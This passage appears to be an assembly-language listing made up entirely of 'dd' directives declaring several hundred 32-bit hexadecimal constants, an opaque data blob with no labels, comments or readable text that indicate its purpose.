		dd 8400E7A4h, 0AEE6DB88h, 0F332C0A8h, 0EC52CC73h, 33304FE2h
		dd 74012E7Ah, 0B6A2C17h, 0B4C04FB9h, 57199B4Eh,	26104CE5h
		dd 0E280406Ch, 0D0062DF8h, 0FA596000h, 0A725F3D1h, 0E72B3DD6h
		dd 162997B1h, 0BD62C854h, 0C8786859h, 195B85DEh, 5DC0A093h
		dd 4BD56D0Ah, 9A33806Ch, 0DD182E2Ah, 311A0913h,	5CB4D044h
		dd 124B4656h, 1000A98Ah, 7B6D434Dh, 0E74640F9h,	5718FBE0h
		dd 0D1E944C5h, 8E509E9Bh, 4E4F20AAh, 0E3F3E6A0h, 0D90F7DFEh
		dd 3605D559h, 0BE1C803h, 6150C8A6h, 7ECC2688h, 7AEC2364h
		dd 0C5941581h, 3EA0512Eh, 0DB2183D9h, 0D0E1A2E7h, 2359BC2h
		dd 82A356DDh, 0D8AF19A7h, 0C8A86023h, 815B8105h, 0A001FF93h
		dd 0C0C38CE6h, 1451742Dh, 86D16081h, 26FA3616h,	69B1E01Ch
		dd 3F2378E6h, 5109CFFh,	0A65B3824h, 69B048F5h, 5E4FFD44h
		dd 0ADFC0519h, 23B4F2FCh, 26A2692h, 40E95EE1h, 29C44C5h
		dd 0E76221C1h, 0D6F4AF1Bh, 0BD5928EEh, 356A2EC4h, 0A0A03E3Ch
		dd 405C6318h, 0C7017F69h, 91AC7189h, 8345B985h,	8F0B3C02h
		dd 0BE95A056h, 6E365E61h, 0D47500F0h, 0F823FCBEh, 3CF618DFh
		dd 494221DCh, 49EA202h,	0F8E1922Eh, 782430D8h, 71A9B528h
		dd 0EEFEF2F4h, 0F50522Dh, 90F98A9Ch, 0EE809491h, 0D95EDF21h
		dd 443448Ch, 0BA21E607h, 8DD09497h, 3FB1F28Eh, 1B1201BEh
		dd 3C500441h, 743F247Fh, 0BA0ED04h, 3834AD7Fh, 344C0239h
		dd 42E246DDh, 0BCFCF240h, 0C9465EE8h, 6A252Ch, 0DC97046Ch
		dd 0D5633C0Fh, 0D8BB2621h, 708AE20h, 65A3910Bh,	0E7C11071h
		dd 5F2C8260h, 959FD0F6h, 4338C89h, 1084E640h, 593194D2h
		dd 43EA7020h, 11B00B86h, 0B018055Bh, 2867C29h, 9D035887h
		dd 585CFAF8h, 28FD950h,	4B46D858h, 0EF400240h, 0E5098E5Bh
		dd 20DCAF91h, 26360650h, 5DCD0289h, 0ED0ED6A2h,	0C549E45Ch
		dd 602D64F0h, 393CCFC2h, 0A8FE7B46h, 0B02B23A0h, 3D3E054Bh
		dd 421740Fh, 0BCA642E5h, 4F05C12Ch, 0F8323695h,	0C1002A22h
		dd 8A8EEC06h, 3EF2F7CEh, 9300F3D0h, 1D7FCD75h, 0F00DF54h
		dd 265784F4h, 2765465Dh, 0B0896F69h, 4F11D81Dh,	0A6066881h
		dd 9CE0E8D3h, 0C0795725h, 7D840F00h, 3B4C02B7h,	0DC61A793h
		dd 0EB0EF45Eh, 2781E71Ch, 44784Ch, 0F4E6D1CAh, 747F249Ah
		dd 5300B0BCh, 3884E090h, 67650A18h, 0C41CEE0Dh,	148D04D3h
		dd 5700F4ECh, 40714521h, 6A09619Dh, 17F9DF89h, 8F4B91D0h
		dd 1DEC18CCh, 9BD0D217h, 25DD8050h, 0FAAB6261h,	0D17007A9h
		dd 0CA3CD2B3h, 189880F8h, 66538FD8h, 2482C309h,	1FDC7AAFh
		dd 6729AAh, 93C58E5Fh, 8B2765A9h, 91EC97DFh, 0F387804Bh
		dd 3E655CB7h, 3C011D82h, 0F54C3A1h, 1278961Eh, 4A07A15h
		dd 3AA5A79Dh, 1C13C4A9h, 3B7802C8h, 0C076972Bh,	1CFF0AF0h
		dd 80DBFAA0h, 0F32E90C9h, 0B7CE3B8h, 31F29F00h,	32F7BA3Eh
		dd 90C00044h, 0E4C18FDBh, 0BE00E7D4h, 0E9FE39F4h, 1FFB48FCh
		dd 0A496FFB4h, 8B31120Ch, 0C0A188D0h, 1AD14A23h, 5DDF7500h
		dd 0E6154649h, 45720994h, 4C159A7Ah, 0AFC8CB10h, 2B985F85h
		dd 38046095h, 0C460761Fh, 9068C370h, 49058820h,	203C91E6h
		dd 6B5891ACh, 4C645C65h, 86850D60h, 0DF6C7E05h,	14E0C390h
		dd 888D547Bh, 7F690ECAh, 9C603BFFh, 885D1CB6h, 21FA2F02h
		dd 0C1565918h, 5CEE1AD0h, 9017EBF8h, 5D83CC11h,	56F141B7h
		dd 0B06D7Ch, 487DABE8h,	2870F383h, 4AAC34E1h, 0AE289166h
		dd 5C7C24DAh, 0EB423800h, 0D9994852h, 3094F68Bh, 0E521DDAEh
		dd 0BF01AB3Bh, 2B878022h, 8130CC27h, 139B730Eh,	469C6349h
		dd 99D63DB8h, 0F6460900h, 0C21F971Dh, 393B3B6Dh, 0C71506F6h
		dd 29E27FD1h, 0E4E5900h, 711784EEh, 0B08295F0h,	73123EDCh
		dd 0A61750E8h, 7DAFD200h, 0EE5012D3h, 84FD09B2h, 3079D870h
		dd 65EBF282h, 44F4E766h, 18FA6049h, 94675393h, 9F56007Ah
		dd 2AA39433h, 8E0E88CDh, 0A4DF36B7h, 20E0A807h,	25672469h
		dd 0CEE70178h, 0D0D337AAh, 0D8042982h, 26E9571Ah, 0DAAE04C2h
		dd 0E9447948h, 0F968302Ah, 0B400D614h, 0F5E78AE3h, 38692E5h
		dd 3D330695h, 0DFE04C5Dh, 90A89B0Dh, 105B159Ah,	5FC7E006h
		dd 0FEE412D1h, 0A8F02458h, 0E194040Ch, 0E4A07891h, 4F43018Ah
		dd 0DF83EE0Ah, 8100FFD0h, 0FCB05A16h, 9D6588C7h, 529A5084h
		dd 0F3347400h, 79FA2815h, 0C075254Ah, 0C9E40CE5h, 679CD360h
		dd 0BB543A02h, 523D4C39h, 8AE8FCh, 63C6FD9Bh, 3BA6BFFAh
		dd 0E3BBAC09h, 0EC498893h, 4674B026h, 4B1E004Ah, 57C6741Dh
		dd 8E7B3286h, 5A4051D9h, 9C1383C4h, 0D4017E9Eh,	45FA1A56h
		dd 4D723F0h, 52DF4D5Ch,	3A201942h, 9F249310h, 7D004498h
		dd 31183B50h, 9221AF57h, 0BA431284h, 0E1C8B230h, 690C43EBh
		dd 0FEE691A0h, 0F2771509h, 8F74D1C8h, 0C7A0A5D3h, 0D52EFAB9h
		dd 0ECA0E1FEh, 0DC00A88Bh, 0B04019C6h, 9FCBA6Bh, 0C58CA30Fh
		dd 895DF072h, 0C8C3242Ch, 91A41DA7h, 838B9D29h,	6FA883E1h
		dd 0E04858E7h, 9F8C2BE8h, 7CE3A403h, 58404A9Ah,	4E055A42h
		dd 2DAE6561h, 50DFB009h, 83FE0964h, 0F8025ED7h,	14761A9Bh
		dd 781E443Eh, 0CA9FC2Dh, 90B195Bh, 6E13E620h, 50E3BF49h
		dd 5B0E9102h, 0DC5CE3A0h, 0A8CF0CC3h, 0A665931h, 13D5E2F4h
		dd 15FCBDFCh, 0D81088B6h, 1E3E517h, 0EBE75B04h,	0FC60FE59h
		dd 21C40D74h, 0F490D0AEh, 28690Ch, 0C19D486Dh, 0F98F6E94h
		dd 0B7F79500h, 0EC0B1EA5h, 0D9B0B985h, 24184Fh,	82309146h
		dd 0E2A8B7C9h, 0AF365504h, 20FC25CDh, 4443A0ECh, 0A6D8FC03h
		dd 0AEA2D3BBh, 40B16060h, 54CB8D80h, 37819C74h,	0C50C845Fh
		dd 0D1CEC30Fh, 142F180Bh, 0C4A04531h, 8CE60A0h,	6AAB0C6Bh
		dd 0FAD0954Ah, 5F9C7D04h, 0F2241409h, 44A2B170h, 9A00DE0Ch
		dd 0F560CBD5h, 553C8D9h, 3498AB0Dh, 812CA9F9h, 6F8946E7h
		dd 0C618BE42h, 8777BCh,	0AE3D0C2Dh, 0E3E64BEBh,	0A0A98D02h
		dd 4483FFE5h, 440F090Ch, 2820DB3Dh, 305C9231h, 0B16DA804h
		dd 108870C5h, 44504493h, 0ED5EE17h, 0A9473090h,	3EF64167h
		dd 51FA6C32h, 184F7158h, 31FC00B9h, 84C13B97h, 0A13C3D30h
		dd 0DC12249Eh, 467CC8A6h, 0D25B002Bh, 9EE834F8h, 74C304E2h
		dd 81BDA506h, 0A217D8h,	4DA30E93h, 0CF274024h, 9948F866h
		dd 4D3D14D6h, 997D3FBCh, 198809D1h, 6507A017h, 0D8543DA9h
		dd 6A0178A8h, 9F2B9D7Fh, 0C6E477C0h, 929808C3h,	0CF455194h
		dd 30B8A084h, 0DF733A80h, 90FC3C2Bh, 0D6485E16h, 0A6776802h
		dd 99E4D6DDh, 51907CF7h, 0DCC7B4F8h, 843C8AFCh,	5DB80575h
		dd 0B88385CFh, 0E420CD9Ch, 0EE8BE5DEh, 0D9604FDCh, 0E28C329Ch
		dd 593630D0h, 0FE6B1116h
		dd 0CB4A48B7h, 0C0CFC818h, 577DE270h, 0E0DB1B02h, 0EA146ED0h
		dd 0E6A46024h, 88231294h, 0E5B00292h, 0D059F3DDh, 8643E9D0h
		dd 6C6D922Dh, 24295200h, 0C44A1B1h, 58D4008Bh, 8F78905Eh
		dd 2B4F758Eh, 0FECC1488h, 0E5C72D62h, 6D930C61h, 148D5AACh
		dd 0F2A6088Fh, 718576C9h, 0E498CC0Bh, 5D88C091h, 59FF8602h
		dd 7D028999h, 43AFCD8Bh, 5E2CDE0Ch, 12001146h, 0D06CE08Bh
		dd 2050B331h, 0D2CAFBBh, 9D50BC44h, 23E93457h, 88A4DB18h
		dd 7077C011h, 6E017312h, 36A9BA61h, 747255FFh, 1353930Ch
		dd 860B8931h, 0C5BB74C4h, 6010C4F0h, 56B319h, 172BE1A5h
		dd 59301668h, 58FC4E48h, 48025AA3h, 411260ACh, 0C2285EAh
		dd 83AC9A97h, 88DA0B7Eh, 2ED8A163h, 0BC4BB95h, 0E038DE90h
		dd 13380387h, 0EE8D27Bh, 0FC561B77h, 1088F4D6h,	2FC4Dh
		dd 9B48BB5Dh, 6D9C9357h, 0A059B525h, 0AD27DA4h,	5D9D0177h
		dd 3784FE15h, 1D82D7Eh,	63C7358Ch, 42F547Bh, 124B059Ch
		dd 2F1C88h, 0B4C6FBF0h,	7AAD4E92h, 648F3E25h, 3907318h
		dd 0D905C7F7h, 54885B17h, 1F0BAA25h, 593689EBh,	907C93C4h
		dd 0C7516740h, 8F1E6A00h, 0E6B5D0FFh, 122E138Ch, 81FE040Eh
		dd 62288A48h, 9461918h,	5CCD413h, 60B305D3h, 1431CBB2h
		dd 1F4578E0h, 8C0D73C1h, 3E703FF0h, 0B84A097h, 5016C31h
		dd 0D86BED46h, 72C0EBD0h, 0E6DDFC7Ah, 5BC4B066h, 0FB4CC708h
		dd 0FE444470h, 0FB10C465h, 54C7021Bh, 233D40Ah,	13AB49DBh
		dd 6081F0E9h, 3718C7CCh, 0DAA8E0C9h, 99D10D56h,	2E889877h
		dd 247F686Eh, 2C109027h, 0C0D36410h, 0FA2A723Fh, 81C10B5h
		dd 7A363DF3h, 911D4F80h, 8E722D39h, 5FE42600h, 0FC9089ABh
		dd 0E1BB0557h, 0BD630651h, 0F436042Ch, 40E8D5E3h, 2170A602h
		dd 3040CFFCh, 5D904009h, 7097502Ch, 1D041711h, 0A2369157h
		dd 582ED2E4h, 93092923h, 0F4C0683Ch, 0A5920079h, 0A9FD3837h
		dd 0BF01F546h, 1D5C6E94h, 1C723DACh, 0B260A292h, 0EEC33010h
		dd 217DAE02h, 8F634211h, 7115A9AAh, 0E1A793B0h,	78543180h
		dd 8C48BC0Ch, 0A85CE10Bh, 45450BBh, 6871084h, 3C0CC85Ah
		dd 0F73AC700h, 2492E6CCh, 8CE509FBh, 8C026F29h,	6512A453h
		dd 60CEC4BCh, 5BF7F0h, 0B866EE6h, 90FF985Dh, 0FCDB224Eh
		dd 21B99AC0h, 9101DB19h, 0AF9C538Bh, 0D860D125h, 0C9722815h
		dd 9B330BD4h, 0B461A547h, 78DAFC83h, 0FD1204FCh, 60414957h
		dd 62FF4D0Fh, 0C808532Fh, 9200AB18h, 7B43045Fh,	3EF0E3FDh
		dd 5C976BAFh, 0FB8C3312h, 4B9C17E8h, 77B21F01h,	0C99B13DEh
		dd 0A1BC342Ch, 0F6F9988Ch, 7E30F7Ah, 0BAE06A5Ch, 5F31675Dh
		dd 0BF2890E2h, 97979C8Eh, 87CC91D4h, 0ECD0E8EAh, 1315FE4Ch
		dd 8CBB4966h, 9115D7A4h, 180DEAEh, 4D203D67h, 0F570C4ACh
		dd 109B0777h, 70E56ECDh, 3E23432Fh, 3DE3FE3Eh, 0B400746Dh
		dd 19C73688h, 121A1340h, 20ADE68Dh, 0C90D7264h,	643D0E12h
		dd 175DE48Ch, 0A794A770h, 582F4F8Ch, 0A6384823h, 92400C7Fh
		dd 2FE1C81Bh, 440E381h,	3542EDAFh, 0B840E425h, 0F15DA705h
		dd 0C30F7948h, 20FB667h, 0E010139Ch, 889A6188h,	5E37AE3Ch
		dd 0E2344054h, 0BD5C0416h, 5CAD024Ah, 76F8FC14h, 0D0004A46h
		dd 81919D94h, 5B796E0Eh, 6C039F2Fh, 64B000h, 0F8272D48h
		dd 3AD24B70h, 2CF6ED58h, 180074A9h, 4D45FA19h, 9C800154h
		dd 0F3F4A0D7h, 8BDC60E5h, 2786F713h, 183E246Fh,	0FD804E3Bh
		dd 8EABFE39h, 0EB0E45E3h, 4BB4CBC3h, 0D8BDF8h, 39C6BFDAh
		dd 0B800EC29h, 57486CDCh, 5C5ADD21h, 0A8123C3Fh, 5B144143h
		dd 4214C311h, 8874B58Ch, 9864C227h, 1B643E0h, 5FC57447h
		dd 0C672218Ch, 8AF02CC3h, 17B8296Bh, 34BE13F0h,	8CEBE781h
		dd 6B6AFA28h, 0A7B31C70h, 89C559CCh, 0FEF20085h, 0EC0DE833h
		dd 0D82E0E8Ch, 46742CF9h, 0A6C300C8h, 0BA9A0AF7h, 2B0B02E1h
		dd 0F47B1159h, 6C51808Bh, 91AC97ADh, 80AD80CBh,	4B6C8B0h
		dd 325D3CC0h, 0F570876Ch, 0F6E812C6h, 19FDE0CCh, 16B57F63h
		dd 98A32535h, 0BCBE2938h, 43EB215Ch, 2357B880h,	284A3B9Ch
		dd 7F80190Bh, 774E03FCh, 33A8B77Dh, 0FB3095F0h,	40243D0Bh
		dd 799859D6h, 0B2184Ah,	0DBE3CEC5h, 0F8840913h,	0E044AA14h
		dd 12815888h, 0F80B1205h, 0A110FB35h, 18CA71F0h, 8A7200FCh
		dd 94A01522h, 83269147h, 0D1728896h, 183659F4h,	0F3911355h
		dd 0B7800768h, 0D17D505Eh, 28E5195Bh, 0E8044818h, 0B2008C4Ah
		dd 118759FBh, 48D563BDh, 0D892A41Bh, 0FC2C8A7Ch, 57001FF5h
		dd 4FE8AAE3h, 0E4E617EFh, 87E800C6h, 1794639Ah,	0BA511E27h
		dd 0C4A045F0h, 2669604Bh, 40764BB6h, 2C5142F4h,	0D6755DB4h
		dd 0CB0FD509h, 2C40F01Ch, 0D63852B5h, 0A20B3646h, 0A0C41DDFh
		dd 0D1F67101h, 0ECC593A7h, 64FC006Eh, 6560DD2Eh, 0C148CD95h
		dd 0D4763319h, 7E1475BBh, 10E04A5Ah, 0D139F907h, 8494D05Eh
		dd 74B0E737h, 4814E520h, 0B2B5BC35h, 30EAB2C0h,	376FAE03h
		dd 99D7C0F9h, 0C1F6A2h,	63ABD63Dh, 636F70Bh, 976B4503h
		dd 0AA9D13BDh, 17787459h, 3D300D6h, 0F701295h, 4688E325h
		dd 973D4B80h, 0B4A5305Ch, 0AE16BA14h, 0A8C98019h, 81FC9B2Ah
		dd 6561B80Ah, 9D69803Eh, 175C095Fh, 0C3909F00h,	6BA5FF1Dh
		dd 4B8D1094h, 0A1C418CAh, 863F3044h, 468A0087h,	0B469C01Ch
		dd 5B1E5D50h, 0BD4083D5h, 0C6552CCAh, 0CB7D17FEh, 45C4B0C7h
		dd 4A66901h, 42D1AF9Dh,	8BB4642Ch, 0C12D88C0h, 6028AB06h
		dd 5F139C83h, 849C36EDh, 62649813h, 0BB747143h,	26717CD9h
		dd 6001EC18h, 8117AE77h, 4B7EA003h, 0F4782B84h,	4D44ACA7h
		dd 4333B760h, 0A8E16102h, 0F9559CAAh, 14D589F8h, 0CCFC3890h
		dd 957C5802h, 0C2156C82h, 7F0AC0B4h, 5E749C1Dh,	0DB00CA46h
		dd 0CB224D06h, 0E44FC5D5h, 0DE4E9420h, 0DA2C0339h, 6DA9A2A6h
		dd 0EBF10488h, 80952B09h, 2E54EC8Ch, 10EDCA5h, 24A30FD7h
		dd 0C9147DE4h, 0E8B84BADh, 15A4F3Ah, 0E2FE12D3h, 0FCD20732h
		dd 6527FAE5h, 0C398CD66h, 0C0EFF6FCh, 0D8A6998Dh, 0C443115Fh
		dd 5DE9AD1h, 0FB4959D9h, 126CE9F8h, 0D0CEA3CFh,	0B8C0C8C8h
		dd 454244Ah, 0E48CC76h,	278812Eh, 6D6860CDh, 1E85B5Ch
		dd 79EA8CE6h, 4060675Dh, 0A35E8846h, 0CBA6C2Ch,	0E8204C24h
		dd 7065448Dh, 234C80FAh, 5B01C4ADh, 6B5DA57Ah, 5828D36Eh
		dd 290C04D2h, 8C0F003Bh, 485D579Ch, 2689984Eh, 0B8047058h
		dd 0A59F83A9h, 592C27ABh, 89E12701h, 0C9D0F8E7h, 2C003173h
		dd 10EDB46Ch, 50E51813h, 0DF187Ch, 3E7DE707h, 4653EF97h
		dd 79AA2600h, 0DD80FEF9h, 3D052F7Bh, 0A8018420h, 0AF075D46h
		dd 0B709D31Bh, 0A4497CF1h, 20B30E8h, 4CB1C4Bh, 98C7278Ah
		dd 0F4604F44h, 0FB096210h, 8482675Fh, 0F2134340h, 1DFF1178h
		dd 1BB26F00h, 0A25BEE0Ah, 888B384Fh, 62C026C8h,	908DDBD1h
		dd 3C25BF34h, 3D8ED7Ch,	29427B17h, 4950BFF5h, 2852F37h
		dd 0E456357h, 8C619622h, 65ED003Fh, 34D34D69h, 0B80158F8h
		dd 0CEC3A111h, 0C60532Ch, 0F8C4255Ch, 2A4404C7h, 0CFA7F160h
		dd 2750600h, 94E61AE1h,	66B0040Bh, 0F01D5F5Eh, 445E9354h
		dd 0ECC4508Eh, 0A0283343h, 40F955Ah, 1BA861B9h,	9B38C4F7h
		dd 6E02C078h, 739205C2h, 905F0C01h, 6850EDA7h, 0DA7488A0h
		dd 551E8282h, 97104039h, 0C65C3153h, 0D2995F19h, 1EC31100h
		dd 1989006h, 5396A19Dh
		dd 2A989F70h, 50672491h, 510AAF01h, 0DCC0439Ch,	11C08E15h
		dd 0E856D916h, 9F223C12h, 0CF58035Fh, 21507CE2h, 5A5BC6A4h
		dd 0B00E5057h, 2A009026h, 0E7EC7F89h, 6118A930h, 65F95935h
		dd 66F16B6h, 0DC7C8D56h, 0E65FCED3h, 0DD00006Eh, 63B347D2h
		dd 2102925Ch, 6959FEC8h, 80D058F3h, 40507580h, 0FC20113Bh
		dd 8AC1D4Fh, 0ACBC2B9h,	10FC155Fh, 5410EF00h, 0E217987Bh
		dd 0C54F0114h, 0EACDE05Eh, 4CA04147h, 0E153025Bh, 58806490h
		dd 3CC55439h, 0B80FC7DFh, 0CE370B82h, 78A58970h, 0A840214h
		dd 0F7AE8365h, 0ED7CC0D6h, 0C8009718h, 1F202B10h, 1791D6C5h
		dd 215DFEE7h, 0BF34ADBCh, 0C9B88031h, 0A351B41Fh, 3B921EBCh
		dd 3C888012h, 5A6EE71Ch, 8F40A4B4h, 25F28F3h, 3FD7404Eh
		dd 89753852h, 60146D38h, 82F83575h, 0C4366F05h,	0F414F71Fh
		dd 0E72771E9h, 0E2D0CD92h, 14108D8Bh, 20488D56h, 32717742h
		dd 465EC07Ch, 10AF2D48h, 5CC0378h, 88A6661Ch, 0AC78AD29h
		dd 5B94309Bh, 5CB644B1h, 899FE7F4h, 601C4D94h, 545CD6F6h
		dd 0A7215B0Ah, 7D14B018h, 0EC162C30h, 33E4DEh, 2D5666EDh
		dd 5B4EB52Bh, 15236912h, 2DAF14E4h, 949D21F2h, 3B81CE11h
		dd 697CC16Eh, 0D43BB8h,	41B1DBF3h, 0C854Eh, 29EE5913h
		dd 435D3593h, 0A3068609h, 0E694A7B0h, 3CB8BFF5h, 32A9940Dh
		dd 0F0503688h, 7F0E1B1h, 483FCD76h, 0B481E015h,	28409FE5h
		dd 1CA3120Fh, 0C2C91D0h, 60180667h, 249391A4h, 1C607F9Ah
		dd 89619BD1h, 90314C67h, 0F3D913h, 544CC410h, 6E05F1E6h
		dd 0D5E53F9Eh, 0E3F4FC81h, 4D1D08Bh, 620F9CF1h,	57822053h
		dd 50099Eh, 0BAC5FAE5h,	0FFB47105h, 114875Ch, 0B5F3DF8Ah
		dd 3980A77Bh, 530F6299h, 243CB9E6h, 6993874Ah, 83104C80h
		dd 2D6D53Dh, 61F1A6E2h,	8B618ACDh, 84446E3h, 0A5E62C80h
		dd 912C9797h, 4A208ECEh, 0F831C8AAh, 67DA9049h,	634B6488h
		dd 4F2FF0DAh, 802B5829h, 205D9312h, 0DDAF9BC8h,	858C3558h
		dd 5CC0BB06h, 0B5CD4F1Dh, 385384A2h, 2F026C58h,	8914E711h
		dd 852468BFh, 845B14C4h, 0B800E4DCh, 63D0B45Eh,	9894C27Bh
		dd 84D0AE12h, 0F5779503h, 10150024h, 27D5ACA3h,	0FFB00166h
		dd 3981F65Eh, 479B0E2Ch, 2ADC65C9h, 0A2C8B08Bh,	48C323C0h
		dd 0DA6000DFh, 0F7E0163h, 0C26710ABh, 97939578h, 0E8306F47h
		dd 7B18C88Dh, 785BFC04h, 88B48B35h, 0AF30C02Bh,	0FC02C018h
		dd 0AB077ECEh, 93A4A02Ch, 9781ACA7h, 9A99DCE8h,	0CCE29743h
		dd 0D3EC3A31h, 59E10BBDh, 0ACD86381h, 2CF794B0h, 0E67B1394h
		dd 22007C54h, 1410B52Ah, 9A18F717h, 0E7C47D81h,	3C37003Bh
		dd 196F99A3h, 0E4B20E98h, 0A531E360h, 12927D47h, 0F9A38FD9h
		dd 0C73D11A8h, 0D014D512h, 3B813F98h, 1D09D8BAh, 7C56761Ah
		dd 826C6034h, 1748B5AFh, 95088E44h, 460D00D0h, 15D37402h
		dd 0F53C0F71h, 0C1804F4Eh, 65366EC3h, 8A3DE6E4h, 9917095Fh
		dd 0B9070CFh, 52503583h, 0CCE46845h, 948F2960h,	0D5FCBD01h
		dd 5CB75583h, 45A56DCh,	0CE5893E0h, 0D13E06E4h,	2BA61C39h
		dd 7E818027h, 8E95CAE2h, 0D4589A00h, 932F7CEBh,	3DBC2574h
		dd 0D47940C9h, 0A8007839h, 0C5E9E58Eh, 0EE1457E0h, 0F7C33D5Fh
		dd 71179D02h, 0B44A8F87h, 1B1FA0F6h, 91E49DADh,	20CA80CCh
		dd 3D0B0168h, 4E743594h, 0AC60122Ch, 9FFB8018h,	98C02672h
		dd 11A727FAh, 7EA43C0Fh, 4BDCBC06h, 6E0B8F6h, 0D134809h
		dd 34BC8CA3h, 0A2E48616h, 449EF1B8h, 0D10B340Ch, 80B922F5h
		dd 0A9E0269Ch, 6EC55B66h, 581B0060h, 43F0AC78h,	0C47702E7h
		dd 3BB4959h, 840C8720h,	1F6A0940h, 0A099AA2Fh, 5C277A21h
		dd 8BE2E7B7h, 40DA6261h, 80DEFC34h, 0AF1623D0h,	84D03CD8h
		dd 73487274h, 82A004CFh, 8262B20Ch, 0AAE06F60h,	8B79FE18h
		dd 0E4A0C597h, 0EC816528h, 75DC83FEh, 255F0439h, 9A4F89h
		dd 9C6D1094h, 8BFA5AC8h, 0C04DC860h, 318FB5CDh,	50E5A400h
		dd 8861C33Ch, 2293254Bh, 0CB11F09Dh, 0EDFEC780h, 0A07A5B33h
		dd 0AB5A8E01h, 4F369399h, 0AD244B6Ah, 4B2848F2h, 0A05C2DBh
		dd 93CC2236h, 540F9480h, 2FF45B37h, 449E10C4h, 38A525C0h
		dd 1500B390h, 79A5369h,	395CB830h, 0B64B78C4h, 0A8C0E074h
		dd 0FAC7241Dh, 0FC530828h, 0D8B52003h, 0F0ECBC17h, 0D3705F09h
		dd 0D5139050h, 3CF88C4Ch, 0E08C10BCh, 0D8D50148h, 1682BEDDh
		dd 0C0F47076h, 646796A2h, 0C36011E4h, 0BF14FEB1h, 9D1501Ah
		dd 452182A9h, 44A1E2B8h, 96AC18h, 270BA9C6h, 2DFD89C4h
		dd 2B9F4400h, 0EAA0098Ah, 1B7C00FCh, 20D5264Ah,	9D1DA26Ah
		dd 419D2A3Eh, 0CD792970h, 1FD3044Bh, 869CEE37h,	0AF6008BDh
		dd 4BD55B21h, 0C5AC00B0h, 1C155854h, 9841A30Ah,	95C23810h
		dd 1473003Ch, 86FEE9FFh, 27407F45h, 24043DCh, 1FCF4BD1h
		dd 10AC31D7h, 4BD957h, 7EA33A8Eh, 771CF102h, 80703400h
		dd 988103Dh, 2B243F90h,	9AE7958Fh, 20965280h, 99FC8945h
		dd 474A00Dh, 0A1D52864h, 86F25980h, 0A8921477h,	3F52487Eh
		dd 33A9F284h, 283352F0h, 1CEFF202h, 97F510h, 0A2D898BFh
		dd 10990A30h, 1686DE9h,	875423D3h, 985C8C8Eh, 0CA210508h
		dd 81683965h, 8062EE1Eh, 731CBBE6h, 520604ABh, 0C36B0924h
		dd 0EA30C078h, 1CDD5D2h, 277CAD1Fh, 0DE085DD8h,	0D020C008h
		dd 13CD5BAh, 1BF37000h,	6ACB0AECh, 1C96158Eh, 20048CFAh
		dd 789475h, 0EA622B26h,	0D09A1EE6h, 3867941Ch, 0D1D5CE80h
		dd 608CCD01h, 0B6CC2195h, 390F67D5h, 1F696364h,	0FD15E403h
		dd 9402F923h, 844BCC52h, 7060DB8Ch, 2323D268h, 3F0E115Ch
		dd 6500F1C9h, 0E16FDC73h, 0C6133717h, 0A123C0D0h, 3FE26900h
		dd 0B9CE1696h, 0BE6E1282h, 0EA4812A0h, 7CD8F511h, 0B18FA834h
		dd 86038C06h, 41D94449h, 28F0B7E8h, 0D40B11C0h,	3A26E49h
		dd 0AA9CFD1Dh, 10A3FCCDh, 0E92120h, 5FDB1AABh, 269AC1D3h
		dd 14A67F00h, 325770Dh,	0D1789149h, 0F03F1893h,	5B663CECh
		dd 6D7F7200h, 22B1A0B2h, 517DDD74h, 0FBA241Ch, 68A6DA06h
		dd 16950171h, 9081CC8Dh, 1E9451ABh, 6A20206Bh, 0D5C5048Ch
		dd 62A501CCh, 0CDCF20DDh, 0CB05FED5h, 8692F38Bh, 0A05BE00Ah
		dd 0FF0D1C82h, 46744498h, 685101D4h, 863423D7h,	5E88110Ch
		dd 1A680071h, 1D2ACB6Ah, 0A607B930h, 25769610h,	0ACCD2270h
		dd 5294483Ch, 1DCE9001h, 9CF8F4F6h, 2B84D820h, 5484FA36h
		dd 0C5D0D808h, 0A20581D5h, 12D85825h, 1DE688h, 1F8F3F4Ah
		dd 19F1ECD3h, 0D5507105h, 0D408F6BEh, 4BD0C0DBh, 0CF461FD2h
		dd 5603AE22h, 81904BD8h, 0A6D0E8BBh, 88050948h,	2C20C394h
		dd 0B926B17Eh, 174BE08Dh, 434C48B0h, 1FFD025Bh,	829DB896h
		dd 974C0384h, 87AF1158h, 616E4796h, 8DC3346Ch, 0F1E470A1h
		dd 141805h, 40769864h, 5DF45FD6h, 1917AB3Dh, 0D9A0B63Eh
		dd 4B08D218h, 70DF1FD4h, 4B00DA58h, 9307B835h, 269E1F5Dh
		dd 0B0DC700Ch, 0D3265558h, 98C32818h, 76D77B9h,	0D7AE0B7Ah
		dd 0E0D8A0FDh, 8A00C788h, 3ACA5D36h, 1CDC822h, 98A965DAh
		dd 4228C4B9h, 0D330BAC8h, 0A2550849h, 1164FCD5h, 49DBE840h
		dd 0DA00F81Ch, 0B6350F95h, 0AB41CF31h, 6F60DC9Ch, 2310D168h
		dd 8C88744h, 6867CC80h,	7FA849h, 2CB69DCEh, 38AC2909h
		dd 0D83CA30Ch, 3EF1F1ABh, 0A4510F6Ch, 3069E042h, 0D316D5D0h
		dd 385D01h, 0D5B801CAh
		dd 0FE2005D0h, 0F6A000C1h, 20EB4860h, 9B490B0Eh, 0C0B6D921h
		dd 0FA59801Ah, 46052AD3h, 0BEBD005Ch, 2DFC6517h, 9504D2CAh
		dd 0F7A1C2CCh, 0C0F2FC90h, 3812033Dh, 64FAB6BBh, 2C626FF0h
		dd 0DDAB0F00h, 0D7CC3B49h, 45870095h, 0D1608C78h, 1D01B8D2h
		dd 0F32219B9h, 2C3092BEh, 0D7AF05AAh, 43621CBh,	99021CA8h
		dd 88A04E4Ch, 809FCF0Eh, 0A08B25D2h, 0E402140Bh, 6B90B7E7h
		dd 3F888476h, 1387CCDBh, 0FC83025h, 0F10063B1h,	14993A50h
		dd 4D86FF96h, 61BC8890h, 0AB0C9C00h, 0FFA98CB0h, 0B5DE01Eh
		dd 69283CA2h, 10EDD027h, 0DCFE480Dh, 720B70Ah, 1D086423h
		dd 0A2CE6641h, 5C991F7Dh, 4BD65CC0h, 9A3E00ECh,	82574ABCh
		dd 3F017A77h, 0B228D9Dh, 0CC40873Ah, 0A1987DC2h, 0C848A2F8h
		dd 0BE1702C8h, 257B3F3Dh, 18684C41h, 0D2D508D3h, 96C65501h
		dd 0BBC90021h, 0A2BA21D5h, 1C096A62h, 829D2E6Ch, 0C4EE17C8h
		dd 9E5A2C04h, 2A7742E0h, 57A53B00h, 0A34009E6h,	280D014h
		dd 2BBD8C90h, 0AA0068BAh, 0FE177156h, 0B0EDA28Dh, 58864354h
		dd 8C14B8C8h, 9175A907h, 3AB1E110h, 0F3F4BAA3h,	63A1708Fh
